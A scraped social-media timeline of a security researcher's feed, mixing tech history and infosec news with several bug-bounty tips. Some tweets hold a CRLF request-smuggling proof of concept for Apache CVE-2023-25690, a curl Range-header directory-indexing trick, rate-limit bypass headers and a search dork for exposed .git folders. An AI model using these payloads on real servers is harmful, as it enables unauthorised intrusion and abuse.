Konrad Ravenstone @_cr0n_

Security Researcher, Penetration Tester at KR. Laboratories kr-labs.com.ua/author/konrad-… Ukraine Joined July 2023

Tweets

93
Followers

16
Following

508
Likes

342

CyberKnow @Cyberknow20

10 months ago

When people ask me why they should care about hacktivists. I like to remind them there are hundreds of highly motivated groups who have who knows how many members. They have massive intent to cause disruption and are constantly getting improved capabilities like ransomware.…

0 12 17 2K 3

Download Image

nixCraft 🐧 @nixcraft

9 years ago

Linux kernel creator Linus Torvalds in 1994

6 44 98 0 0

Download Image

Vigilant Fox 🦊 @VigilantFox

8 months ago

Mark Zuckerberg is making some big moves at Meta, and on the surface, it all looks great: elimination of fact-checkers, rollback of DEI initiatives, and less censorship. Zuckerberg delivered a strong pitch for his renewed enthusiasm for free speech—until he exposed himself at…

548 1K 8K 2.0M 2K

Download Video

ZachXBT @zachxbt

12 months ago

2/ Incident Summary: On August 19, 2024 the threat actors targeted a single Genesis creditor by: 1) Calling as Google Support via spoofed number to compromise personal accounts 2) Calling after as Gemini support claiming account is hacked 3) Social engineered victim into…

135 122 2K 1.1M 505

Download Image

Butt Dickarson @verysmallclaims

a year ago

I impromptu interviewed a social engineering hacker. Apparently, the 13 year old kid who owns the name coinbase in minecraft is one of these guys. Oh, and @Swan apparently you have a giant withdrawal awaiting verification. And it's going to some hackers. soundcloud.com/junsethsworld/…

155 168 769 413K 669

Hello World! @HelloWorldClctn

11 years ago

Hello World in Plankalkül, one of the oldest programming languages of all, invented by Konrad Zuse in the 1940s

2 13 22 0 2

Download Image

Dark Web Informer @DarkWebInformer

8 months ago

"A Hacker's Story" featuring ex-Anonymous and LulzSec hacker, Jake Davis aka Topiary

4 52 205 15K 180

Download Video

Evervault @evervault

4 years ago

NEW: Evervault Paper of the Week / Issue 11 The first known proposal for a blockchain protocol. Available here: evervault.com/papers/chaum

0 3 15 0 0

Download Image

Mehdi @silentgh00st

3 years ago

Here is how I chained two bugs to exploit a UUID based IDOR and gained access to admin panel. 🧵THREAD🧵 1. How I knew that the target uses the same panel for both (normal users and admins)?! This is because of two things, the first one is through subdomain enumeration

31 232 892 113K 487

Download Image

Mehdi @silentgh00st

2 years ago

3. I used @leak_ix search engine at leakix.net and used this dork [+target_name ++plugin:"GitConfigHttpPlugin"] Note : this is used to search for already scanned websites that have /.git exposed

7 18 119 8K 61

Moxie Marlinspike @moxie

4 years ago

@HamledOnLine @fortboise @backwards_not @chadloder @MikeConte There is no mystery here, it is documented in Telegram's own API docs to be unencrypted. Telegram is essentially a big server side plaintext database; you send someone a message by inserting it into the table for your chat. That's why there's only one check mark for delivery.

1 1 10 0 0

Moxie Marlinspike @moxie

a year ago

Telegram messages aren't e2e encrypted. It is also a "cloud messenger," meaning that all messages live on Telegram's servers rather than the user's device. With one query, the Russian Telegram team can get every message the French president has ever sent or received to his…

1 184 916 118K 133

Computer ♥ Records @ComputerLove_

9 months ago

Waiting passengers watching coin-operated TVs, Greyhound bus station, Los Angeles. (c.1969)

9 65 338 11K 36

Download Image

RIVER @wugeej

2 years ago

[PoC] [CVE-2023-25690] Apache HTTP Server mod_proxy vul CLRF Injection GET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1 Host: Header Injection GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1 Host: 1.1.1.1 github.com/dhmosfunk/CVE-…

1 120 313 38K 110

spidersec @SpiderSec

4 years ago

Forced - Directory Indexing (using range HTTP header) POC: curl -H "Range: 6000" http://webserver/ | sed -n "/<body>/,/<\/body>/p"

4 89 229 0 75

Download Image

spidersec @SpiderSec

4 years ago

Rate Limiting Bypass : (429 Too many Requests) Append the headers to a request where the server is responding with 429 Client-Ip: IP -> 200 X-Client-Ip: IP -> 200 X-Forwarded-For: IP -> 200 X-Forwarded-For: 127.0.0.1, IP -> 200 IP = Random IP Address that you want to spoof 🙂

8 107 333 0 73

Siddhesh Parab @sidxparab

4 years ago

Just Updated my Subdomain Enumeration Guide with new techniques, fixes, etc. Have a look 😊 Boost your Recon game !!🚀🚀 sidxparab.gitbook.io/subdomain-enum… #bugbounty #infosec

18 436 1K 0 377

Download Image

spidersec @SpiderSec

6 years ago

Manually Detect Remote Integer Overflow: 1. Note Content-Length. EX: 612 2. Take NO < Content-Length. Ex: 610 3. Add (610+612 = 1222) 4. Request Header - 'Range: bytes= -1222' => SAME RESPONSE 5. Subtract 9223372036854775808 - 1222 = 9223372036854774586 Continue.......

6 184 433 0 102

Download Video

The Hacker News @TheHackersNews

10 months ago

A critical #vulnerability (CVE-2024-10924) in the Really Simple SSL plugin affects 4 Million+ #WordPress sites, allowing attackers to bypass 2FA and gain admin access remotely. Details here: thehackernews.com/2024/11/urgent… Patch available—update now!